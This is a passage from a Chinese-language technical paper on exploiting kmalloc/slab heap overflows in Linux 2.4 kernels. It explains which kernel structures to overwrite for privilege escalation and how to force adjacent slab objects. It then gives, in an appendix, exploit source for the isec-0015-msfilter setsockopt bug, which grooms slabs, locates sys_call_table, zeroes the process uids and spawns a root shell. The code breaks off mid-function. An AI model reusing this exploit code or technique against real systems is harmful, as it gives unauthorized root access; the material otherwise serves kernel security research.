512&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 1<br>
size-512&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
74&nbsp;&nbsp;&nbsp;&nbsp; 80&nbsp;&nbsp;&nbsp; 512&nbsp;&nbsp;
10&nbsp;&nbsp; 10&nbsp;&nbsp;&nbsp; 1<br>
size-256(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
256&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 1<br>
size-256&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
15&nbsp;&nbsp;&nbsp;&nbsp; 30&nbsp;&nbsp;&nbsp;
256&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp; 1<br>
size-128(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
2&nbsp;&nbsp;&nbsp;&nbsp; 30&nbsp;&nbsp;&nbsp;
128&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp; 1<br>
size-128&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
478&nbsp;&nbsp;&nbsp; 510&nbsp;&nbsp;&nbsp; 128&nbsp;&nbsp;
16&nbsp;&nbsp; 17&nbsp;&nbsp;&nbsp; 1<br>
size-64(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;
64&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 1<br>
size-64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
87&nbsp;&nbsp;&nbsp; 118&nbsp;&nbsp;&nbsp;&nbsp;
64&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp; 1<br>
size-32(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
2&nbsp;&nbsp;&nbsp; 113&nbsp;&nbsp;&nbsp;&nbsp;
32&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp; 1<br>
size-32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
270&nbsp;&nbsp;&nbsp; 339&nbsp;&nbsp;&nbsp;&nbsp;
32&nbsp;&nbsp;&nbsp; 3&nbsp;&nbsp;&nbsp; 3&nbsp;&nbsp;&nbsp; 1<br>
<br>
下面是man page里对slabinfo每列数据所代表含义的描述：<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For each slab cache, the cache
name, the number of currently active objects,<br>
&nbsp;&nbsp; &nbsp;the total number of available&nbsp;
objects,&nbsp; the size&nbsp; of&nbsp; each object in bytes,<br>
&nbsp;&nbsp; &nbsp;the number of pages with at least one active
object, the total number of allocated pages,<br>
&nbsp;&nbsp; &nbsp;and the number of pages per slab are given.<br>
<br>
遗憾的是，在SMP系统环境下，/proc/slabinfo内的信息并不总是能立即反馈系统内真实的slab使用信息，但是<br>
没关系，对于这个问题我们想到了其它办法解决，在文章的后续部分我们将会提及。<br>
<br>
？我们应该覆盖什么的数据结构才能提升权限呢？<br>
<br>
通常这个数据结构最好包含一个函数指针，而且应用层应该有机会通过这个指针来调用函数，还有一点就是<br>
这个数据结构的分配应该可以在用户层控制，并且它是通过kmalloc被调用的。满足这个条件的数据结构相信<br>
你在内核可以找到很多，例如struct file结构,<br>
<br>
struct file {<br>
&nbsp;&nbsp; &nbsp;struct list_head&nbsp;&nbsp; &nbsp;f_list;<br>
&nbsp;&nbsp; &nbsp;struct dentry&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;*f_dentry;<br>
&nbsp;&nbsp; &nbsp;struct
vfsmount&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
*f_vfsmnt;<br>
&nbsp;&nbsp; &nbsp;struct file_operations&nbsp;&nbsp;
&nbsp;*f_op;<br>
&nbsp;&nbsp; &nbsp;atomic_t&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;f_count;<br>
&nbsp;&nbsp; &nbsp;unsigned int &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;f_flags;<br>
&nbsp;&nbsp; &nbsp;mode_t&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;f_mode;<br>
&nbsp;&nbsp; &nbsp;loff_t&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;f_pos;<br>
&nbsp;&nbsp; &nbsp;unsigned long &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;f_reada, f_ramax, f_raend, f_ralen, f_rawin;<br>
&nbsp;&nbsp; &nbsp;struct fown_struct&nbsp;&nbsp;
&nbsp;f_owner;<br>
&nbsp;&nbsp; &nbsp;unsigned int&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;f_uid, f_gid;<br>
&nbsp;&nbsp; &nbsp;int&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;f_error;<br>
<br>
&nbsp;&nbsp; &nbsp;unsigned long&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;f_version;<br>
<br>
&nbsp;&nbsp; &nbsp;/* needed for tty driver, and maybe others
*/<br>
&nbsp;&nbsp; &nbsp;void&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;*private_data;<br>
<br>
&nbsp;&nbsp; &nbsp;/* preallocated helper kiobuf to speedup
O_DIRECT */<br>
&nbsp;&nbsp; &nbsp;struct kiobuf&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;*f_iobuf;<br>
&nbsp;&nbsp; &nbsp;long&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;f_iobuf_lock;<br>
};<br>
<br>
struct file结构中的f_op指针为file_operations结构类型，这个结构中定义了对文件进行各种操作时所<br>
对应的回调处理函数：<br>
<br>
struct file_operations {<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;loff_t (*llseek) (struct file *, loff_t,
int);<br>
&nbsp;&nbsp; &nbsp;ssize_t (*read) (struct file *, char *, size_t,
loff_t *);<br>
&nbsp;&nbsp; &nbsp;ssize_t (*write) (struct file *, const char *,
size_t, loff_t *);<br>
&nbsp;&nbsp; &nbsp;int (*readdir) (struct file *, void *,
filldir_t);<br>
&nbsp;&nbsp; &nbsp;unsigned int (*poll) (struct file *, struct
poll_table_struct *);<br>
&nbsp;&nbsp; &nbsp;int (*ioctl) (struct inode *, struct file *,
unsigned int, unsigned long);<br>
&nbsp;&nbsp; &nbsp;int (*mmap) (struct file *, struct
vm_area_struct *);<br>
&nbsp;&nbsp; &nbsp;int (*open) (struct inode *, struct file *);<br>
&nbsp;&nbsp; &nbsp;...<br>
};<br>
<br>
除了函数指针以外，还有其它信息也可以用于提升权限，比如上个问题中用于消耗slab的sys_semget所使用<br>
的数据结构，<br>
<br>
struct sem_array {<br>
&nbsp;&nbsp; &nbsp;struct kern_ipc_perm&nbsp;&nbsp;
&nbsp;sem_perm;&nbsp;&nbsp; &nbsp;/* permissions .. see ipc.h
*/<br>
&nbsp;&nbsp; &nbsp;time_t&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;sem_otime;&nbsp;&nbsp; &nbsp;/* last semop
time */<br>
&nbsp;&nbsp; &nbsp;time_t&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;sem_ctime;&nbsp;&nbsp; &nbsp;/* last
change time */<br>
&nbsp;&nbsp; &nbsp;struct sem&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;*sem_base;&nbsp;&nbsp; &nbsp;/* ptr to first semaphore in
array */<br>
&nbsp;&nbsp; &nbsp;struct sem_queue&nbsp;&nbsp;
&nbsp;*sem_pending;&nbsp;&nbsp; &nbsp;/* pending operations to be
processed */<br>
&nbsp;&nbsp; &nbsp;struct sem_queue&nbsp;&nbsp;
&nbsp;**sem_pending_last; /* last pending operation */<br>
&nbsp;&nbsp; &nbsp;struct sem_undo&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;*undo;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* undo requests
on this array */<br>
&nbsp;&nbsp; &nbsp;unsigned long&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;sem_nsems;&nbsp;&nbsp; &nbsp;/* no. of semaphores in array
*/<br>
};<br>
<br>
通过覆盖结构中的sem_base成员，就可以对任意内核地址进行读写，见相应内核代码：<br>
<br>
sys_semctl -&gt; semctl_main<br>
&nbsp;&nbsp; &nbsp;...&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;sma = sem_lock(semid);<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;curr = &amp;sma-&gt;sem_base[semnum];<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;switch (cmd) {<br>
&nbsp;&nbsp; &nbsp;case GETVAL:<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;err = curr-&gt;semval;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto out_unlock;<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;case SETVAL:<br>
&nbsp;&nbsp; &nbsp;{<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;int val = arg.val;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;struct sem_undo *un;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;err = -ERANGE;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (val &gt; SEMVMX || val
&lt; 0)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto
out_unlock;<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;for (un = sma-&gt;undo; un;
un = un-&gt;id_next)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;un-&gt;semadj[semnum] = 0;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;curr-&gt;semval = val;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;curr-&gt;sempid =
current-&gt;pid;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;sma-&gt;sem_ctime =
CURRENT_TIME;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* maybe some queued-up
processes were waiting for this */<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;update_queue(sma);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;err = 0;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto out_unlock;<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;...<br>
<br>
你可以写current、写sys_call_table 等等...<br>
<br>
好了，现在回顾前面的例子，你认为还有什么问题没有解决吗？<br>
我们现在是不是就可以完成kmalloc exploit了呢 8-) ... enjoy<br>
<br>
五、** 更进一步<br>
<br>
看懂一个技术理论容易，但实现却通常不容易，在我写EXP的时候发现，实现我认为已经很明白的东西要比想象<br>
的麻烦很多，会遭遇到很多没有想到的困难。下面是我们在写实际的kmalloc溢出利用程序时遇到的一些问题和<br>
想到的一些新的技术、方法。这些方法有的实现了有的还未测试，在这里简单的罗列一下，如果有兴趣可以一起<br>
探讨，这也是我们下一步充实和研究kmalloc溢出利用技术的方向。<br>
<br>
1. /proc/slabinfo<br>
<br>
通过读取slabinfo，我们可以足够的用于溢出使用的信息。但是遗憾的是，在我们的测试中发现，在SMP系统下<br>
cat /proc/slabinfo显示的信息并不能与系统的真实情况同步。虽然air发现有些情况这个信息更新的很及时，<br>
但是到现在为止，我们还不能确认规律，这个也有待进一步试验。<br>
<br>
2. 另一个得到相邻slab对象的方法(不依赖于/proc/slabinfo)<br>
<br>
由于SMP环境下slabinfo存在的问题，消耗完现有系统slab对象以保证得到相邻slab对象的方法也就不在可行，<br>
因为slabinfo信息不准确，我们无法准确得知目前系统有多少个slab对象需要我们预先消耗。不过，即使没有<br>
slabinfo的支持，我们也还有另外一个方法。通常我们可以假设当前系统的slab对象分配尽后，此尺寸的slab<br>
对象的数量并不会达到系统上限(通常都是这样，我还未遇到例外的情况)，所以我们可以一直消耗slab对象到<br>
系统上限，这个我们可以通过函数的返回值判断出来，然后我们从尾部的slab对象中释放两个连续对象供我们<br>
的溢出使用，由于前面的假设，所以我们分配的尾部的slab对象一定是在一个新的slab块中，所以它们一定是<br>
相邻的。<br>
<br>
3、关于特性三<br>
<br>
在kmalloc/slab的特性部分我们提到了三个特性，其中第三个特性在前面并没有被引用。这是因为在本文介绍<br>
的例子中并不需要这个特性，但是在真实漏洞的利用中你也许会用得到。<br>
<br>
4、关于isec-0015-msfilter漏洞的利用<br>
<br>
本来想拿isec-0015-msfilter的漏洞做一个实例分析，但是想了想解释这个漏洞的利用会引入很多内容(比如进程<br>
权限的提升、漏洞触发的具体条件和一些“讨厌”的约束)，那会把这篇文章弄的很复杂，太多的内容会对理解<br>
kmalloc利用的基本技术造成障碍。<br>
<br>
随便说一下，如果你研究了isec-0015-msfilter内核漏洞，你也许会发现由于漏洞触发环境的各种约束，可以覆盖<br>
的有价值的数据结构很少，甚至只能找到一些数据的读写地址供覆盖，最后可能只有通过拦截系统调用的方法来提<br>
升权限，而我们知道在有的环境下无法在应用层准确的得到sys_call_table的地址。不过我们后来想到我们可以将<br>
前面提到的“得到相邻slab对象”技术用到溢出数据源本身，这样可以突破漏洞本身对溢出数据源长度的限制，进<br>
而可以覆盖任意的通过kmalloc分配地址的数据结构了，就不再需要sys_call_table了。<br>
&nbsp;<br>
六、** 最后<br>
<br>
&nbsp;&nbsp;&nbsp;
感觉写paper总是比写代码更难，有时解决一个技术问题不易，但是描述和解释一个技术问题却更难，<br>
所以如果文章哪里写的不清楚，存在什么问题，请大家指出和谅解。最后，希望能有更多的交流。<br>
<br>
七、** 参考资料<br>
<br>
1 Linux内核情景分析<br>
<br>
2 kmalloc_exploition.pdf<br>
<br>
3 isec-0015-msfilter&nbsp;&nbsp; &nbsp;http://isec.pl<br>
<br>
4 内核源代码参考&nbsp;&nbsp; &nbsp;http://lxr.linux.no<br>
<br>
八、** 附录 (kexp-msfilter.c)<br>
<br>
下面是isec-0015-msfilter内核漏洞的利用代码，虽然这不是一个通用版本，但是足够作为一个kmalloc
exploition<br>
的真实例子了。<br>
<br>
/*<br>
&nbsp;* Linux kernel setsockopt MCAST_MSFILTER privilege
elevation<br>
&nbsp;* For kernel 2.4.22 - 2.4.25<br>
&nbsp;*<br>
&nbsp;* 2006-04-07<br>
&nbsp;* Written by grip2 &lt;gript2@hotmail.com&gt;<br>
&nbsp;*<br>
&nbsp;* grip2@debian:~/kernel-sec/exp-msfilter$ ./kexp-msfilter<br>
&nbsp;* numsrc: 0x4000000c msize: 0x40 gsize: 0x68c optlen:
0x68c<br>
&nbsp;* Prepare ...<br>
&nbsp;* full_numsrc:
15&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; overflow_numsrc:
3<br>
&nbsp;*
size-64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
87&nbsp;&nbsp;&nbsp; 118&nbsp;&nbsp;&nbsp;&nbsp;
64&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp; 1<br>
&nbsp;*
size-64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
119&nbsp;&nbsp;&nbsp; 177&nbsp;&nbsp;&nbsp;&nbsp;
64&nbsp;&nbsp;&nbsp; 3&nbsp;&nbsp;&nbsp; 3&nbsp;&nbsp;&nbsp; 1<br>
&nbsp;* Exploiting ...<br>
&nbsp;* setsockopt: Cannot assign requested address<br>
&nbsp;* sh-2.05b# &nbsp;<br>
&nbsp;**/<br>
<br>
#include &lt;string.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;stdio.h&gt;<br>
#include &lt;unistd.h&gt;<br>
#include &lt;linux/unistd.h&gt;<br>
#include &lt;sys/types.h&gt;<br>
#include &lt;sys/socket.h&gt;<br>
#include &lt;linux/in.h&gt;<br>
#include &lt;sys/ipc.h&gt;<br>
#include &lt;sys/sem.h&gt;<br>
#include &lt;sys/stat.h&gt;<br>
#include &lt;assert.h&gt;<br>
#include &lt;fcntl.h&gt;<br>
#include &lt;sys/mman.h&gt;<br>
#include &lt;linux/sysctl.h&gt;<br>
#include &lt;signal.h&gt;<br>
#include &lt;setjmp.h&gt;<br>
#include &lt;wait.h&gt;<br>
<br>
#define KB * 1024<br>
#define MB * 1024 KB<br>
#define GB * 1024 MB<br>
#define NOP 'A'<br>
int uid, gid;<br>
unsigned task_size;<br>
unsigned user_cs,user_ds;<br>
<br>
void **sys_call_table;<br>
#define __NR_hijack_getroot&nbsp;&nbsp; &nbsp;0<br>
static inline _syscall1(int, hijack_getroot, unsigned long *,
val)<br>
<br>
#define SOL_IP &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;0<br>
#define MY_NUMSRC&nbsp;&nbsp; &nbsp;12<br>
<br>
#define SIZE_PIPE_INODE_INFO &nbsp;&nbsp; &nbsp;64 &nbsp;&nbsp;
&nbsp;/* sizeof(struct pipe_inode_info) */<br>
#define SLAB_SIZE &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;(fix_slabsize(SIZE_PIPE_INODE_INFO))<br>
<br>
#define MAX_SEM_LIMIT &nbsp;&nbsp; &nbsp;4096<br>
static int sem_handles[MAX_SEM_LIMIT];<br>
static int sem_count = 0;<br>
<br>
/*<br>
&nbsp;* (kernel-2.4.22) -- ipc/sem.c<br>
&nbsp;* ...<br>
&nbsp;* size = sizeof (*sma) + nsems * sizeof (struct sem);<br>
&nbsp;* sma = (struct sem_array *) ipc_alloc(size);<br>
&nbsp;* ...<br>
&nbsp;*/<br>
#define COMPUTE_NSEMS(slabsize) (((fix_slabsize(slabsize)) - 56) /
8);<br>
<br>
static int fix_slabsize(slabsize)<br>
{<br>
&nbsp;&nbsp; &nbsp;/*<br>
&nbsp;&nbsp; &nbsp; * (kernel-2.4.22)<br>
&nbsp;&nbsp; &nbsp; **/<br>
&nbsp;&nbsp; &nbsp;int cache_sizes[] = {<br>
#if PAGE_SIZE == 4096<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;32,<br>
#endif<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;64,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;128,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;256,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;512,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;1024,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;2048,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;4096,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;8192,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;16384,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;32768,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;65536,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;131072,<br>
&nbsp;&nbsp; &nbsp;};<br>
<br>
&nbsp;&nbsp; &nbsp;int num, i;<br>
<br>
&nbsp;&nbsp; &nbsp;num = sizeof(cache_sizes)/sizeof(int);<br>
&nbsp;&nbsp; &nbsp;for (i = 0; i &lt; num; i++) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (cache_sizes[i] &lt;
slabsize)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;continue;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;slabsize =
cache_sizes[i];<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;break;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;return slabsize;<br>
}<br>
<br>
unsigned long get_sys_call_table(void)<br>
{<br>
&nbsp;&nbsp; &nbsp;FILE *fp;<br>
&nbsp;&nbsp; &nbsp;char linebuf[128];<br>
&nbsp;&nbsp; &nbsp;char stuff[64];<br>
&nbsp;&nbsp; &nbsp;unsigned long addr;<br>
&nbsp;&nbsp; &nbsp;int found = 0;<br>
&nbsp;&nbsp; &nbsp;int r;<br>
<br>
&nbsp;&nbsp; &nbsp;fp = fopen("/proc/ksyms", "r");<br>
&nbsp;&nbsp; &nbsp;if (fp == NULL) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("fopen
/proc/ksyms");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;return;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;while (!feof(fp)) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (!fgets(linebuf,
sizeof(linebuf), fp))<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;continue;<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;memset(stuff, 0
,sizeof(stuff));<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;r = sscanf(linebuf, "%x %s",
&amp;addr, stuff);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (r != 2 || !strstr(stuff,
"sys_call_table"))<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;continue;<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;printf(linebuf);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;found = 1;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;break;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;fclose(fp);<br>
&nbsp;&nbsp; &nbsp;return found ? addr : 0;<br>
}<br>
<br>
static void prepare_slab(int slabsize, int left)<br>
{<br>
&nbsp;&nbsp; &nbsp;FILE *fp;<br>
&nbsp;&nbsp; &nbsp;char linebuf[128];<br>
&nbsp;&nbsp; &nbsp;int r, found = 0;<br>
&nbsp;&nbsp; &nbsp;int s_size, s_active, s_total;<br>
&nbsp;&nbsp; &nbsp;int nsems;<br>
<br>
&nbsp;&nbsp; &nbsp;slabsize = fix_slabsize(slabsize);<br>
&nbsp;&nbsp; &nbsp;nsems = COMPUTE_NSEMS(slabsize);<br>
<br>
&nbsp;&nbsp; &nbsp;fp = fopen("/proc/slabinfo", "r");<br>
&nbsp;&nbsp; &nbsp;if (fp == NULL) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("fopen
/proc/slabinfo");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;return;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;while (!feof(fp)) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (!fgets(linebuf,
sizeof(linebuf), fp))<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;continue;<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;r = sscanf(linebuf, "size-%d
%d %d", &amp;s_size, &amp;s_active, &amp;s_total);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (r != 3 || s_size !=
slabsize)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;continue;<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;printf(linebuf);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;found = 1;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;break;<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;fclose(fp);<br>
<br>
&nbsp;&nbsp; &nbsp;if (found) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;int i, num;<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;num = s_total - s_active -
left;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;num = (num &lt;=
(MAX_SEM_LIMIT-sem_count)) ? num : (MAX_SEM_LIMIT-sem_count);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;for (i = sem_count; i &lt;
num; i++, sem_count++) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;sem_handles[i] = semget(IPC_PRIVATE, nsems, IPC_CREAT);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;return;<br>
}<br>
<br>
static void de_prepare_slab()<br>
{<br>
&nbsp;&nbsp; &nbsp;int i;<br>
<br>
&nbsp;&nbsp; &nbsp;for (i = 0; i &lt; sem_count; i++) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (sem_handles[i] != -1)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if
(semctl(sem_handles[i], 0, IPC_RMID)) perror("ipc_rmid");<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;sem_count = 0;<br>
}<br>
<br>
void shellcode(void)<br>
{<br>
&nbsp;&nbsp; &nbsp;char *p[] ={"/bin/sh", 0};<br>
//&nbsp;&nbsp; &nbsp;de_prepare_slab();<br>
&nbsp;&nbsp; &nbsp;execve("/bin/sh",p,0);<br>
&nbsp;&nbsp; &nbsp;_exit(0);<br>
}<br>
<br>
void configure(void)<br>
{<br>
&nbsp;&nbsp; &nbsp;unsigned val;<br>
&nbsp;&nbsp; &nbsp;task_size = ((unsigned)&amp;val + 1 GB ) / (1
GB) * 1 GB;<br>
&nbsp;&nbsp; &nbsp;uid = getuid();<br>
&nbsp;&nbsp; &nbsp;gid = getgid();<br>
&nbsp;&nbsp; &nbsp;user_ds = myget_ds();<br>
&nbsp;&nbsp; &nbsp;user_cs = myget_cs();<br>
<br>
}<br>
void kernel(unsigned * task)<br>
{<br>
&nbsp;&nbsp; &nbsp;unsigned * addr = task;<br>
<br>
&nbsp;&nbsp; &nbsp;/* looking for uids */<br>
&nbsp;&nbsp; &nbsp;while (addr[0] != uid || addr[1] != uid ||<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;addr[2] != uid || addr[3] !=
uid<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;addr++;<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;addr[0] = addr[1] = addr[2] = addr[3] = 0; /*
set uids */<br>
&nbsp;&nbsp; &nbsp;addr[4] = addr[5] = addr[6] = addr[7] = 0; /*
set gids */<br>
}<br>
&nbsp;<br>
void set_root(unsigned int *ts)<br>
{<br>
&nbsp;&nbsp; &nbsp;if((unsigned int*)*ts!=NULL)&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;ts = (int*)*ts;<br>
<br>
